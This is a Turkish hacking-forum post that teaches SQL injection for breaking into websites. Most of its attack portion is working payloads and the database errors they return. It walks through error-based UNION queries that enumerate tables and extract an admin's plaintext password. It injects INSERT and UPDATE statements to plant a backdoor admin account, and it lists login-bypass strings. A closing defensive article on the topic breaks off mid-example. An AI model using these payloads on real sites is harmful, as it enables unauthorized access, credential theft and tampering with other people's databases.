SQL site hacklemek isteyen buyrun buraya

BLuєćяσwηz

Uzman üye
4 May 2008
1,697
38
TυякHα¢кTєαм
SQL Dökümanı

Sql injection en garanti hack yöntemlerinden biridir ve bi kalıbı yoktur. tamamen hackerin çabasına bağlıdır. her sitdede sql injection tekniği değişir. yani ezberleyerek yapma imkanınız sıfır. ama mantığını kapabilirseniz. sql injection u çok kolay yapacaksınız

bide sql injection her sitede işler mantığı yanlıştır. sadece sql açığı olan sitelerde geçer. ve maalesef çoğu sitede bu açıklar mewcuttur. pnp nuke ,phpbb, vbulletin gibi önemli sistemlerin son versiyonlarında bile bu açıklar saptanmış vede kullanılmıştıur. bu ve benzerlerinde hala keşfedilmemiş sql açıkları olduğpundan hiç şüpheniz olmasın.

inşAllah bu yazıyı dikkatli okuyan herkes sql injection işini yapamasada matığını kapacaklardır.mantığını kaptıktan sonra iş pratiğe kalıyor. uğraşıp denyeceksiniz. mutlaka er yada geç bu işi yaparsınız. dediğim gibi iş mantığını kapmakta.

şimdi ilk önce sql den başlayalım.


Sql nedir?

arkadaşlar sql bir weritabanı değildir. veritabanı programlama dilidir. bunu ilk önce bilelim.

mesela phppnuke de nuke.sql diye bi doya wardır. bu sql ile yazılmış bir weritabanı wardır. içine tablolar wardır. mesela sen phpnukeye user ve pas. ını yazıp login olduğunda sql areacılığıyla site nuke.sql veritabanında users tablosuna (tablo adını attım) bakar. girdiğin kullanıcı adı we şifre uyuşuyorsa giriş yapar. değilse hata verir. yani sql dili aracılığıyla weritabanıyla kullanıcı arasında ilişki kurar.

biz bu ilişkideki açıkları kullanacağız. en yaygın kullanılan veritabanları microsoft sql ve unix mysql dir. sql hakkında bu kadar önbilgi şimdilik yeter.


şimdi sql de sorgulamalar (yani veritbanı ile bağlantılar) nasıl yağılır onu inceleyelim.

Normalde veritabanının (sql veya mysql) kendi komutlarını kullanarak bir sorgulama yapabilirsiniz. Ancak SQL ya da Mysql kullanan bir siteye doğrudan sorgulama yapamazsınız. Sorgulama işi, bizim web sitesinde gördüğümüz sayfaları oluşturan asp ya da php kodları tarafından yapılır ve bu kodlar webmaster tarafından yazılır.

Bir alışveriş sitesinden mesela ASUS marka notebook’ları göstermesini istediğimizde aslında bir sorgulama yapmış oluruz, ancak bu sorgulamayı bizim yerimize asp ya da php kodları yapar.yani mesela arama kutucuğuna asus yazıp ara dediğimiz zaman asp veya phpo sayfası veritabanına şöyle bir sorgu gönderir : git markalar tablosundan marka_id=asus olanları seç listele getir. (bu kodlar tabiki bu şekilde türkçe değil sql dilinde olur :) )


şimdi sql injection a bi giriş yapalım.

sql injection yaparak amacımız bu tür sorguları asp veya php kodlarını otomatik olarak girmesi değil de kendimiz manuel olarak girmeyi amaçlıyoruz.
mesela bi siteye şöyle bi sql sorgusu gönderiyoruz : eyy sql denen şey git bana users tablosundan user_id=admin olan kullanıcıların password sutunundaki bilgileri listele getir. oda bize site adminin şifresini gwetirir. :)


şimdi hangi sitelerde sql açığı war bunu nasıl öğrenebiliriz onu incelşeyelim.

normalde rastgele bi sitede direkt böyle bir sql sorgusu gönderirsek sonuç alamayız. açığı olan bi site bulacaz. nasıl. tabiki siteleri deniycez. siteye saçma yasak bir sql sorgusu gönderecez o da haliyle bize bi hata mesajı werecek. biz bu hata mesajını inceleyip içinden bazı ipuçları bulmaya çalışcaz.
mesela örnek werirsek bi sitede kullanıcı girişi yapılan bölüme kullanıcı adı ve şifre bölümüne ’ or 1=1-- yazalım enter diyelim. sitede sql açığı warsa şöyle bi hata vermesi lazım :

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’users’ to a column of data type int.

/index.asp, line 11

ewet böyle bi hata aldık. bu bizim için çok iyi bi gelişme.
şunu merak ediyosunuzdur büyük ihtimalle biz neden bunu yaptık neden sitenin hata wermesi bizim için iyi bi gelişmedir. manyak mıyız biz :) (cewap: hayır değiliz.)

bunu yapmamızın sebebi arkadaşlar ahat mesajını incelerseniz göreceksiniz. hata mesajında birtakım bilgiler açığa çıkmış durumda.
biz dedik ki yani giriş şartı hiç bişey olsun veya 1=1 durumları olsun (1 her zaman 1 e eşit olduğundan herzman bu komut çalışır- hile yaptık yani)
verilen hata mesajının türkçesi şu:

users tablosunda eşleştirme yapmak için geçerli bi değer girmediniz.biz user ve şifre girince sql weritabnında tabloda karşılaştırıyodu ve doğruysa giriş yapıyodu ya. işte girdiğimiz ’ or 1=1-- değeri geçerli değildir diyo. sql da ’ tırnak işareti geçerli bir değer değildir. bu yazdığımız değer çok eski bi sql açığıydı bunuda söyleyelim.

ewet şimdi kullanıcı adlarının users adında bi tabloda saklandığını öğrendik. bu çok işimize yarıycak.

ewet aklınız karıştı galiba minik bi örnek werelim şimdi.

mesle sitede ’urunler’ adlı bi tablo war bu tablodan ’kitaplar’ adında bi iç tablo war. biz burda ’urunler’ tablosundaki kitaplar tablosundaki bütün kayıtları seçmek için sql de şöyle bir komut kullanırız.

SELECT * FROM urunler WHERE urunID=’kitaplar’

biz kitaplar adlı tablodan haberdar olmadığımız için şöyle bir komut girersek:

SELECT * FROM urunler WHERE urunID=’’ or 1=1--’

yani urunler in içinden urun id si boş olan veya urun id si 1=1 eşitliğini sağlayan tabloyu getir diyoruz.
her şartda 1=1 olduğundan sql fake mizi yedi we yeni bi hata mesajıyla hiç bilmediğimiz tabloların adını bize sunacaktıur :)



arkadaşlar şimdi adım adım sql injection yapalım.
şimdi bi site seçicez kendimize weritabanı kullanan bi site olması lazım.

Sonra sorgu için UNION isimli bir operatör kullanacağız. Bu operatörün görevi birden fazla sorguyu cevaplamak. Yani biz SQL’e "şu ve şu kritere göre bize sonuçları getir" diyeceğiz. Aşağıdaki örneği gerçek bir web sitesinde yaptım, ancak domain ismini xxx ile değiştirdim.

https://tik.lat/kWgKY UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

gördüğünüz gibi sql komutları sayfanın adresinin sonuna enjekte edilir. users.php?id=42 gibi ifadelerin sonuna yazacaz komutlarımızı. sql komut mantığı böyle çalışır.

şimdi anlatalım biz burda ne komutu verdik:

INFORMATION_SCHEMA.TABLES ismini mecburen kullandık. Çünkü veritabanında bir sürü tablo var ve biz bunların hiçbirinin adını bilmiyoruz. Bunun için de öncelikle genel bir isim kullanmak zorunda kaldık. INFORMATION_SCHEMA.TABLES tablosu, veritabanındaki tablolar tablosu gibi birşey, yani tüm tabloların bilgisini saklıyor. “TOP 1 TABLE_NAME” ise adından da anlaşılıyor: en üstteki tablo. Bunu da dediğim gibi tablo ismini bilmediğimizden kullandık, ama biz böyle yazmakla sisteme bir feyk atıyor ve en üstteki tabloyu sorgulatmaya çalışıyoruz.

UNION’ı da sistemi hata vermeye zorlaması için kullandık. Sisteme dedik ki,"catid=3" olan tabloyla genel tablodaki en üstte olan tabloyu (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) birleştir ve getir dedik, ama burada yine bir feyk attık, çünkü biri integer (3), diğeri string. Sonuçta sistem bize "integer ve string sonuçlarını birleştiremediği için" şöyle bir hata verecek.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’adams’ to a column of data type int.
/index.asp, line 3
ewet arkadaşlar güzel bi hata aldık :)

bu hatayla biz tablodaki en üstteki tablonun adının adams olduğunu öğrendik.

geri kalan tabloları da aynı mantıkla öğrenecez. ama tek tek hepsine komut göndermek uzun iş. şöyle bir komut gönderelim:

https://tik.lat/4Stg1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%admin%’--
bu komutta biz git tablolardan ismi admi veya ona benzeyen bi tablo bul getir dedik.

ve şöyle muhteşem bi hata alıcaz:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3
ewet fewkelade bir hata aldık :)

artık adminlerin ve moderatorların saklandığı tablonun adının admins olduğunuda biliyoruz.

şimdi şu komutu gönderelim:

https://tik.lat/h6Slq UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--
burda da admins tablosundaki ilk sutunun adını sorduk. şöyle bi hata aldık:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logonID’ to a column of data type int.
/index.asp, line 3güzell. ilk sutun logonid . mutlu sona yaklaşıyoruz :)

şimdi diğer sutunlarada göz atalım. şu komutu gönderiyoruz:

https://tik.lat/Gao9Z UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--burda logon id den sonraki ilk tablonun adını sorduk. şu hata msjı geldi.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logon’ to a column of data type int.
/index.asp, line 3
diğer sütunun adı da logon muş.

bu şekilde dewam edersek tüm tabloların isimlerini bulabiliriz.

diğer sutunlarımızda password ve details olsun.

şimdi sutunları öğrendikten sonra kafamızda canlandıralım weritabanını.

admins diye bi tablo warmış. bunun içinde yöneticilerin bilgileri warmış. bilgiler logonid logon password ve detail bilgileriymiş. sonra kırmızı başlıklı kıza anneannesine giderkene.. öhö öhö dalmışım

neyse şimdi tabloları öğrendiğimize göre içinde cirit atabiliriz şöyle bi komt yazalım:

https://tik.lat/9ZoEr UNION SELECT TOP 1 logon FROM admins--

bu komutta admins tablosunun ilk kayıtındaki logon bilgisini bize gewtir dedik. ve hata şöyle:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’johny’ to a column of data type int.
/index.asp, line 5
ewet adminimizin kullanıcı adı johny imiş.

şimdi şifre için şu komutu giriyoruz:

https://tik.lat/e4spZ UNION SELECT TOP 1 password FROM admins where logon=’ johny ’--
bu komutlada admins tablosunda logon bilgisi johny olan kaydın password bilgisini getir diyoruz. şöyle bi manzarayla karşılaşıyoruz:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’aeE2DbU’ to a column of data type int.
/index.asp, line 3
ewet arkadaşlar. admin şifresi tabak gibi yazıyo: aeE2DbU :)

şimdi siteye admin girişi yapabiliriz.

adam çakarsa şifresini değiştirebilir. bunun önlemi,ni almak için admin tablosunda yeni bi kullanıcı oluşutuyoruz. şu komutu kullanıyoruz:

https://tik.lat/P6rhS INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’admin’,’admin’,’NA’)--
ewet artık sitede kullanıcı adı admin ve şifresi admin olan bir admin daha var...

S1: Sql nedir? Niçin kullanılır?
C1: Sql bir veritabanıdır ve kullanıcıyla etkileşimi sağlayarak, istenilen bilgileri sorgulama türüne göre kullanıcıya sunar. Veritabanlarında tablolar saklanır ve bu tablolarda hakkında bilgi tutulmak istenen şeyler (üye,öğrenci, personel, ürün vs. kayıtları) bulunur. En çok kullanılan veritabanları Microsoft SQL ve Unix MySQL’dir.

S2: Sql’de sorgulama nasıl yapılır?
C2: Normalde veritabanının (sql veya mysql) kendi komutlarını kullanarak bir sorgulama yapabilirsiniz. Ancak SQL ya da Mysql kullanan bir siteye doğrudan sorgulama yapamazsınız. Sorgulama işi, bizim web sitesinde gördüğümüz sayfaları oluşturan asp ya da php kodları tarafından yapılır ve bu kodlar webmaster tarafından yazılır. Bir alışveriş sitesinden mesela ASUS marka notebook’ları göstermesini istediğimizde aslında bir sorgulama yapmış oluruz, ancak bu sorgulamayı bizim yerimize asp ya da php kodları yapar.

S3: Sql enjeksiyonu nedir?
C3: Sql enjeksiyonu, veritabanlarının kullanıldığı sitelere kod açıklarından faydalanarak yapılan komut girişleridir.Özellikle Asp ve php ile yapılmış ve kötü olarak tasarlanmış (kod açısından) sitelerde sıkça sql enjeksiyonu açığına rastlanır.

S4: Her asp ya da php sitesinde bu açık varmıdır? Yoksa nasıl bulacağım bu açığı?
C4: Hayır, her asp ya da php sitesinde bu açık bulunmaz. Çünkü bu açığın temeli webmaster’un kodlarda yaptığı bazı hatalara dayanır.Her webmaster da bu açığa düşmez.Bu açığın bir sitede olup olmadığını öğrenmek için mesela asp ile yapılmış bir sitenin kullanıcı girişinin olduğu herhangi bir alana (kullanıcı ismi, arama alanı vs) ya da URL adresi kısmına ’ (tek tırnak) yazmanız yeterli. Bu sayede SQL’i hata vermeye zorlarsınız. Eğer şuna benzer bir ODBC hatası verirse, o siteye SQL enjeksiyonu yapılabilir:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’urunler’ to a column of data type int.
/index.asp, line 11

S5: SQL’i başka nasıl hata vermeye zorlarım ?
C5: Şunlardan birini yazarak:
SQL enjeksiyonu konusunda daha önce yazdığım soru ve cevaplarla SQL enjeksiyonu-1 başlıklı konunun ikinci bölümüne devam ediyoruz. Sorulara 1.bölümde bir arkadaşın sorduğu soruyla devam ediyoruz:
(SQL enjeksiyonu tehlikeli bir konu ve sağda solda dolaşan kendini bilmeden sağa sola saldıran çok kişi var.Bu nedenle sizden ricam bu bilgileri misyon dışında kullanmayın. -Enigma-)
S8:Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ hatası veren her or açığını yer anlamına gelirmi ?bu hatadan çok karşılaştığım için or açığı yemediği için sordum. yoksa başka sql kod denememmi lazım
C8: Bu hata o sistemin potansiyel olarak SQL enjeksiyonuna maruz kaldığını gösterir. Ancak tam olarak istediğimiz hata mesajlarını alabilmek için ilk bölümde anlatılan diğer ifadeleri ( " or "a"="a gibi) denemek gerekir.

S9: Adım adım bir sql enjeksiyonu nasıl yapılır?
C9: Önce SQL açığı olan bir siteyi, anlatılan ifadeleri ilgili yerlere yazarak buluyoruz. Sonra sorgu için UNION isimli bir operatör kullanacağız. Bu operatörün görevi birden fazla sorguyu cevaplamak. Yani biz SQL’e "şu ve şu kritere göre bize sonuçları getir" diyeceğiz. Aşağıdaki örneği gerçek bir web sitesinde yaptım, ancak domain ismini xxx ile değiştirdim.

https://tik.lat/1EsJL UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
S10: Biraz hızlı gidiyoruz galiba. Bu “INFORMATION_SCHEMA.TABLES” , "TOP 1 TABLE_NAME " ne? Niye kullandık buları? (sizin adınıza güzel sorular soruyorum di mi? )
C10: INFORMATION_SCHEMA.TABLES ismini mecburen kullandık. Çünkü veritabanında bir sürü tablo var ve biz bunların hiçbirinin adını bilmiyoruz. Bunun için de öncelikle genel bir isim kullanmak zorunda kaldık. INFORMATION_SCHEMA.TABLES tablosu, veritabanındaki tablolar tablosu gibi birşey, yani tüm tabloların bilgisini saklıyor. “TOP 1 TABLE_NAME” ise adından da anlaşılıyor: en üstteki tablo. Bunu da dediğim gibi tablo ismini bilmediğimizden kullandık, ama biz böyle yazmakla sisteme bir feyk atıyor ve en üstteki tabloyu sorgulatmaya çalışıyoruz.
UNION’ı da sistemi hata vermeye zorlaması için kullandık. Sisteme dedik ki,"catid=3" olan tabloyla genel tablodaki en üstte olan tabloyu (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) birleştir ve getir dedik, ama burada yine bir feyk attık, çünkü biri integer (3), diğeri string. Sonuçta sistem bize "integer ve string sonuçlarını birleştiremediği için" şöyle bir hata verecek.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’adams’ to a column of data type int.
/index.asp, line 3
Bingo!!! İlk hatamızı aldık...

S11: Bu hata ne işimize yarayacak?
C11: Çok işimize yarayaak Çünkü bu hatayla biz en üstteki tablonun (TOP 1 TABLE_NAME) ismini öğrendik:adams.


S12:Geri kalan tabloları nasıl öğreneceğiz. Yine aynı metodu mu kullanacağız?
C12: Aynı metodu da kullanabiliriz, ama işimiz biraz daha uzar. Bu nedenle neyi aramak istiyorsak ona yoğunlaşacağız. Mesela hedefimiz, kendimizi sitenin admin grubuna katmak olsun. O zaman içinde admins, users ya da login gibi kelimeler geçen tabloyu aratacağız. Bunun için de SQL’e "tablo adında mesela "admin" gibi (LIKE operatörü) kelimeler geçenleri bana göster" diyelim:
https://tik.lat/B03xM UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%admin%’--
SQL bize şimdi istediğimizi verecek

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3
Varan 2... Artık admin tablosu diye bir tablo var elimizde, işimiz şimdi çok daha kolay. O zaman devam edelim. Şimdiki hedefimiz "admins" isimli tablodaki kolonlara ulaşmak. Aynı metodu kullacağız yine...
https://tik.lat/Skf5h UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--
Burada da INFORMATION_SCHEMA.TABLES yerine INFORMATION_SCHEMA.COLUMNS ifadesini kullandık. Yani yine feyk attık sql’e, o da bu feykimizi yedi:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logonID’ to a column of data type int.
/index.asp, line 3
Varan 3 ... Artık "admins" isimli tablodaki ilk sütunun ismini biliyoruz:“logonID” . Devam edelim ve diğer sütunun ismine bakalım. NOT IN operatörünün kullanımına dikkat edin:
https://tik.lat/HXPLZ UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logon’ to a column of data type int.
/index.asp, line 3
Diğer sütunun da ismini öğrendik: "logon" diye bir tablo. Artık son aşamaya yaklaşıyoruz, sıra şifreler ve detaylarda:

https://tik.lat/GbMiz UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’,’logon’,’password’,details’)--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 3
Şimdi de kullanıcı ismi ve şifresi için gereken komutlar. Önce admins tablosundan, ilk sütuna (logon)a bakalım:
https://tik.lat/kd2nF UNION SELECT TOP 1 logon FROM admins--


Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’johny’ to a column of data type int.
/index.asp, line 5
“johny” isimli yönetici hakkına sahip bir kullanıcı bulduk, şifresini de bulmak isteyelim:
https://tik.lat/JIcxJ UNION SELECT TOP 1 password FROM admins where logon=’ johny ’--
veeee şifre geliyor:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’aeE2DbU’ to a column of data type int.
/index.asp, line 3

Artık elimizde kullanıcı ismi “johny”, şifresi “aeE2DbU” olan bir kullanıcının bilgileri var. Rahatlıkla sitede istediğimizi yapabiliriz, ama bu kullanıcının şifresini değiştirme ihtimaline karşı, veritabanına yeni bir kullanıcı ekleyelim.
https://tik.lat/djLIJ INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’enigma’,’
tongue.gif
’,’NA’)--
Artık kendime ait bir kullanıcı ismi (enigma) ve sifrem (
tongue.gif
) var. Bundan sonrası bana kalmış ...

3. bölümde görüşmek üzere....
S1- " or "a"="a gibi şeyleri nereye yazacam?

C1- Form alanı olan, sorgunun yapıldığı herhangi bir yere. Mesela kullanıcı ismine, şifreye, ürün arama kısmına vs.




S2 - UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- bunu nereye yazıcam?

C2 – Adres satırına... Verilen örneklerde olduğu gibi





S3- üstatlar bu hata ne anlama gelir? enjeksiyon edilmiş hangi satır olabilir? İşin içinden çıkamadım yardımcı olursanız sevinirim...

Microsoft OLE DB Provider for SQL Server error ’80040e14’

Unclosed quotation mark before the character string ’ ORDER BY rezkirin’.

/include/legercep_i.asp, line 17


C3- Aslında gayet açık, tablonun ismi ORDER BY. Ancak bu bir alışveriş sitesine ait olduğundan bu soruda detaya inmiyorum. Lütfen misyon dışında bildiklerinizi kullanmayın.





S4- Bu kodlar sadece asp sitelerinde mi çalışır yoksa php lerde de yer mi?

C4- SQL enjeksiyonu genel bir isimdir, bu nedenle sadece asp sitelerinde değil, php sitelerinde de çalışır.






S5 – O kadar uğraşmama rağmen SQL’e hata verdiremiyorum. Sorun ne?

C5 – Buradaki en büyük sıkıntılardan biri
https://tik.lat/wgwdk UNION SELECT TOP 1 password FROM admin_login where login_name=’enigma’--
tekniğinin her zaman işe yaramamasıdır. Hatırlayın, yukarıdaki örnekte biz stringi (yani düz yazıyı) nümerik değere dönüştürmeye çalışmış ve SQL’i hata vermeye zorlamıştık. Ama eğer şifre 1234 gibi nümerik bir değere sahipse ne olacak? O zaman yukarıdaki teknik işe yaramaz ve “sayfa bulunamadı” gibi bir hata mesajı ya da sayfası ile karşılaşırız.






S6- Peki o zaman bu sorunu nasıl aşacağız?

C6- SQL’i hata vermeye zorlamak için sadece rakam ya da string kullanmak yerine ikisinin karışımını kullanacağız ve hata vermesini garantileyeceğiz. Mesela

https://tik.lat/7iKMP UNION SELECT TOP 1 convert(int, password%2b’%20CyberWarrior’) FROM admin_login where login_name=’enigma’--

Burada yaptığımız şey istediğimiz tekstin sonuna + işareti (ASCII kod karşılığı 0x2b dir) ile boşluk(%20) ve CyberWarrior kelimesini ekledik. Böylece şifre 1234 olsa bile, biz 1234 CyberWarrior olarak sisteme gönderme yaptık ve “convert” fonksiyonunu kullanarak 1234 CyberWarrior ifadesini nümerik bir değere dönüştürmesini istedik. Böylece SQL’in şu tarz bir hata vermesini sağladık:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’1234 CyberWarrior’ to a column of data type int.
/index.asp, line 5

Böylece artık Enigma kullanıcı ismi ve 1234 şifresiyle sisteme girebiliriz.





S7- Daha önce verdiğim bir şifreyi ya da kullanıcı ismini değiştirebilirmiyim?

C7- Evet bu mümkün. Mesela şifremi değiştirmek için

https://tik.lat/1PMmw UPDATE ’adminlogin’ SET ’password’ = ’yenisifre’ WHERE loginname=’enigma’--

şeklinde bir komut girebilirim.





S8 - Acaba tırnak içerisindeki yerlerin hep aynı olma olasılığı varmıdır?Çünki her deneyişimde hepsi aynı çıkıyor ve hep aynı sütündaki hatayı gösteriyor.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/shoes/index.asp, line 105


C8- Burada kolon sayısında bir uyuşmazlık var. Bu nedenle de hep aynı hata mesajı geliyor. Bu olayı inceleyelim. Mesela senin SQL’e gönderdiğin sorgu şöyle olsun:

https://tik.lat/Dwvjr UNION ALL SELECT 3 FROM SysObjects Where “n”

Senin yaptığın bu sorguya karşılık yukarıdaki hata geliyorsa, o zaman şunlardan birini dene.

https://tik.lat/Aq0ZX UNION ALL SELECT 3,3 FROM SysObjects Where “n”
https://tik.lat/498H0 UNION ALL SELECT 3,3,3 FROM SysObjects Where “n”
https://tik.lat/2kMo6 UNION ALL SELECT 3,3,3,3 FROM SysObjects Where “n”


Eğer bir syntax (sözdizim) hatası bulursanız, işin zor kısmı bitmiş demektir. Geriye sadece daha önce anlatılan tablo isimlerini bulmak kalmıştır.


//Tarafımdan iğnelenmiştir/x-mastER
admin’--
’ or 0=0 --
" or 0=0 --
or 0=0 --
’ or 0=0 #
" or 0=0 #
or 0=0 #
’ or ’x’=’x
" or "x"="x
’) or (’x’=’x
’ or 1=1--
" or 1=1--
or 1=1--
’ or a=a--
" or "a"="a
’) or (’a’=’a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi’ or 1=1 --
hi’ or ’a’=’a
hi’) or (’a’=’a
hi")or("a"="a

SQL Enjeksiyon Saldırıları (SQL Injection)

Dünyanın her tarafında, kullanıcılarına; kredi kartı numaraları, kullanıcı bilgileri gibi gizli kalması gereken bilgilerin, ürünlere ve siparişlere ait verilerin saklandığı uç-arka veri depolarıyla hizmet veren web siteleri bulunmaktadır. Ve genel olarak, web sitelerindeki form aracılığı ile alınan girdi ile veritabanındaki bilgiler filtrelendikten sonra sonucu kullanıcıya gönderen bu tür sistemlerde Yapısal Sorgulama Dili (Structured Query Language - SQL) kullanılmaktadır. Uygulama içerisinde kullanılacak parametre değerleri alınırken kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin vermesiyle güvenlik problemleri ortaya çıkmaktadır.

Bu güvenlik problemleri kullanılarak bir uygulamanın arkasında, bu uygulamaya destek veren veri tabanı üzerindeki bütün bilgilere ulaşılabilir veya bilgiler üzerinde değişiklik yapılabilir. Veya veri tabanı sisteminin komutları kullanılarak kullanılan sunucular üzerinde uygulama harici istenen işlemler de yapılabilir. Bu problemlerden korunmak için de uygulama girdilerini bu tür karakterlere karşı kontrol eden fonksiyonların kullanılmalı ve geniş çaplı uygulamaların bu güvenlik açıklarını taşıyıp taşımadığını anlamak için güvenlik denetimine tabi tutulmalıdır..
İlgilendiren Sektör ve Şirketler:
* Özel olarak geliştirilmiş uygulamalar kullanan tüm kurum ve kuruluşlar
* Internet / Intranet üzerinde uygulama geliştiren kuruluşlar
1. Bir Uygulama Güvenliği Problemi - "Yapısal Sorgulama Dili Kullanımı"
Yapısal Sorgulama Dili SQL’in uygulamalarda kullanımına örnek vermek gerekirse;
SELECT Name, Address FROM Users WHERE UserID = ’2081’
Şeklindeki SQL Deyimi "Users" adlı tablodan "2081" ürün ID si ile veritabanına kayıtlı olan kişiye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zayıflık, kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin vermesiyle ortaya çıkmaktadır. Çözümü ise girdilerden bu özel karakterlerin filtrelenmesini sağlayan fonksiyonlardır.
Hızla gelişen internet teknolojileri karşısında yeni pazarda geç olmadan yerini almak isteyen müşterilerine daha kısa sürede daha kullanışlı ve ucuz çözümler sunmak zorunda olan uygulama geliştiriciler bu süreçte güvenlik gibi önemli bir faktörü ikinci plana atmaktadırlar.
Giderek yaygınlaşan ve medyanın haber potansiyelini oluşturan; çalınan kredi kartı numaraları, yer altı sitelerde dağıtılan müşteri bilgileri, şirket projeleri - yazışmaları yaklaşan tehlikenin habercisi olmakla beraber halen bu tür kayıpların yaratabileceği maddi sonuçları kavrayamayan ve hala "az maliyetle kurtarılan güvenlik projeleri" ’yle övünen yöneticilere uyarı niteliği taşımaktadır. Öyleki -herzaman bir adım önde olmayı amaçlayan- saldırganlar güvenliğin en üst seviyede olması beklenen devlet siteleri de dahil olmak üzere pek çok sisteme yönelik saldırılarına da ara vermeksizin devam etmektedirler.
Maddi ve manevi değere sahip şirketinizi bir anlamda iş ortaklarını olan uygulama geliştiricilerin hazırladıkları uygulama ürünlerine emanet edildiğini düşünürsek, "uygulamalarınıza ne kadar güvenirsiniz?" gibi bir soruya verilecek cevap büyük önem taşımaktadır.
Böyle bir ortamda uygun güvenlik çözümü için ayrılmış bütçe bir lüks değil her an yapılabilecek bir saldırıda şirketin uğrayacağı zararı ortadan kaldırmak için alınması gereken önlem niteliği taşımaktadır.
2. Örnek Saldırılar - "Yapılacak Hamleleri Önceden Tahmin Edebilmek..."
Güvenlikte sıkça kullanılan bir deyim; "Saldırganlardan korunabilmek için onlar gibi düşünmelisiniz!..". Saldırganın sisteminize girmek için kullanabileceği yöntemleri bilmek bu saldırılardan korunabilmek için alınan önlemleri daha sağlıklı kılacaktır.
Örneklerde kullanacağımız hedef ; Microsoft® Internet Information Server™’ dan Microsoft® SQL Server™’a varsayılan sistem hesabı’ndan (sa) bağlanan ASP tabanlı bir kullanıcı hesabı yöneticisi olacak.
Form.asp : Username ve Password girdisini alan form.Solda...
Login.asp : Veritabanı ile bağlantıya geçen ve girdinin doğruluğunu kontrol eden ASP kodu.
2.1. Kötü Amaçlı (’) İmleçleri Yardımıyla İzinsiz Giriş Sağlama:
Kullanıcı "Username" & "Password" verisini Login.asp ye yolladıktan sonra .asp kodunun yapacağı iş verilen yoldaki veritabanı ile bağlantı kurup ilgili tabloda Username ve Password sütünlarında gönderilen verinin doğruluğunu kontrol etmek olacaktır. Bu işlem sonucunda eğer sonuç olumluysa kullanıcıya; "Giriş Yapıldı" olumsuzsa; "Geçersiz Kullanıcıadı & Şifre" mesajı verilecektir.
Örnekleyecek olursak;
Username : ilkay
Password : 2081
Şeklindeki kullanıcı girdisi aşağıdaki SQL Deyimini oluşturacaktır;
SELECT count(*) FROM Users WHERE Username = ’ilkay’ AND Password = ’2081’
